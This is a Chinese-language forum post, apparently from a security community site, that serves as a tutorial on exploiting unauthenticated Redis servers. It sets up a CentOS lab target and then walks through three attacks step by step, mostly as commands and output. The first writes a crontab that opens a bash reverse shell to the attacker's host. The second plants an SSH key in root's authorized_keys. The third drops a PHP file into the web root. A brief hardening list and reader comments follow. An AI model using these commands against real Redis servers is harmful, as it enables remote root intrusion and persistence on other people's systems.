Redis未授权访问漏洞利用总结

p0 / 2017-02-23 09:20:00 / 浏览数 6593 新手 入门资料 顶(0) 踩(0)

0x01 redis介绍

Redis是一个开源的使用ANSI
C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。从2010年3月15日起，Redis的开发工作由VMware主持。从2013年5

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据，可导致敏感信息泄露，也可以恶意执行flushall来清空所有数据。
攻击者可通过EVAL执行lua代码，或通过数据备份功能往磁盘写入后门文件。

如果Redis以root身份运行，可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器。

0x02 本地漏洞环境搭建

靶机：CentOS6.5

CentOS安装redis：

```
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
```

修改配置文件，使可以远程访问：

```
vim redis.conf
```

bind 127.0.0.1前面加上#号 protected-mode设为no

启动redis-server

```
./src/redis-server redis-conf
```

默认的配置是使用6379端口，没有密码。这时候会导致未授权访问然后使用redis权限写文件。

0x03 攻击测试

nmap扫描服务器开启端口

1.redis基本命令

连接redis：

```
redis-cli -h 192.168.63.130
```

查看redis版本信息、一些具体信息、服务器版本信息等等：

```
192.168.63.130:6379>info
```

将变量x的值设为test：

```
192.168.63.130:6379>set x "test"
```

是把整个redis数据库删除，一般情况下不要用！！！

```
192.168.63.130:6379>flushall
```

查看所有键：

```
192.168.63.130:6379>KEYS *
```

获取默认的redis目录、和rdb文件名：可以在修改前先获取，然后走的时候再恢复。

```
192.168.63.130:6379>CONFIG GET dir

192.168.63.130:6379>CONFIG GET dbfilename
```

2.攻击的几种方法

(1).利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

先在自己的服务器上监听一个端口

```
nc -lvnp 7999
```

然后执行命令:

```
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK
```

nc监听端口已经反弹回来shell

ps:此处使用bash反弹shell，也可使用其他方法
[反弹shell的几种姿势]

(2).写ssh-keygen公钥然后使用私钥登陆

在以下条件下，可以利用此方法

1. Redis服务使用ROOT账号启动
2. 服务器开放了SSH服务，而且允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器。

首先在本地生成一对密钥：

```
root@kali:~/.ssh# ssh-keygen -t rsa
```

然后redis执行命令：

```
192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9
OK
192.168.63.130:6379> save
OK
```

save后可以直接利用公钥登录ssh

(3).往web物理路径写webshell

当redis权限不高时，并且服务器开着web服务，在redis有web目录写权限时，可以尝试往web路径写webshell

执行以下命令

```
192.168.63.130:6379> config set dir /var/www/html/
OK
192.168.63.130:6379> config set dbfilename shell.php
OK
192.168.63.130:6379> set x "<?php phpinfo();?>"
OK
192.168.63.130:6379> save
OK
```

即可将shell写入web目录(web目录根据实际情况)

0x04 安全配置

- 限制登录ip
- 添加密码
- 修改默认端口

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■p0
■■■http://p0sec.net/index.php/archives/69/

点击收藏 | 1 关注 | 1

上一篇：不用任何字母，执行任意js代码（X... 下一篇：[先知公告]先知众测2017年1月...

1. 4 条回复

 浊公子 2017-05-18 09:54:56

0 回复Ta

 asdpppp 2017-05-19 02:30:51

感谢分享 谢谢

0 回复Ta


ly55521 2017-06-02 14:58:46

低权限的 redis 提权、 楼主遇到没呀。。。

0 回复Ta


th3robot 2017-11-09 23:10:39

谢谢分享！ 学习了

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板